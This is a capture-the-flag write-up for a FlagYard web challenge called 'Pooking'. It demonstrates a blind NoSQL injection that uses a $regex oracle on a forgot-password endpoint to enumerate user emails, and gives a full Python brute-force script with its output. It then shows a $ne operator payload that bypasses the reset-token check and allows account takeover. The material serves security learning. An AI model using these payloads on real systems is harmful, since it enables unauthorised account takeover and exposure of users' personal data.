Post

FlagYard: Pooking Write-up

FlagYard: Pooking Write-up

Challenge Description

Explore the cars world with Pooking.com

Challenge Link: FlagYard Pooking

Reconnaissance & Initial Testing

In the login, we are given two credentials for the test

1
2
Customer 1: test@example.com / password123
Customer 2: john.doe@gmail.com / mypassword

The application allows users to browse and book vehicles. A key observation was made in the Password Reset feature: the system generates a reset token sent via email with a one-hour expiration. While this token could potentially be susceptible to brute-force attacks if the entropy is low, our primary obstacle was a lack of known administrative email addresses.

ALT

Blind NoSQL Injection via forgot-password endpoint

The /api/forgot-password endpoint was found to be vulnerable to NoSQL Injection. Because the backend does not enforce string-type validation on the email field, it accepts MongoDB query objects. By injecting the $regex operator, we can perform an “Oracle Attack” to enumerate registered emails.

ALT

Next test:

ALT

We can now differentiate between True and False states based on the server’s response:

  • Match (True): Returns {"message": "Password reset link sent to your email"}
  • No Match (False): Returns {"error": "User not found."}

Automation & Data Exfiltration

To automate the discovery of emails, a Python script was developed. The script iterates through a defined character set, appending characters to a string and checking if the server confirms the existence of a matching email prefix.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://{Target}/api/forgot-password" # change this
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-@.-"

found = "" # Your current progress

while True:
    for char in alphabet:
        test = found + char
        payload = {"email": {"$regex": f"^{test}"}}
        r = requests.post(url, json=payload)
        
        if "sent to your email" in r.text:
            found += char
            print(f"Progress: {found}")
            break
    else:
        print(f"Final String: {found}")
        break

Initially, I targeted common administrative prefixes such as admin@, administrator@, or root@. Running the script starting with the character a yielded the following:

1
2
3
4
5
6
7
8
9
$ python3 forget-password.py
Progress: a
Progress: ab
....
Progress: abdulaziz.harith@gmail.c
Progress: abdulaziz.harith@gmail.co
Progress: abdulaziz.harith@gmail.com
Final String: abdulaziz.harith@gmail.com

Bypassing Token Validation via reset-password

After discovering a valid email, the next step was to investigate the /api/reset-password endpoint. Standard behavior for an incorrect token is as follows:

1
2
3
4
5
# request
{"token":"3333","newPassword":"test"}

# response
{"error":"Invalid or expired token"}

However, because this endpoint also accepts NoSQL operators, we can use the $ne (Not Equal) operator. By sending {"$ne": null} operator to the token field , we instruct the database to find any existing token, effectively bypassing the need to know the specific token

1
{"token":{"$ne":null},"newPassword":"test"}

ALT

Unfortunately, the email found does not have an admin role

ALT

Escalation to Administrative Access

While the first few emails discovered (including abdulaziz.harith@gmail.com) only held the user role, I continued the enumeration for an admin account. By refining the search to include numeric characters, an administrative email was successfully identified.

ALT

This post is licensed under CC BY 4.0 by the author.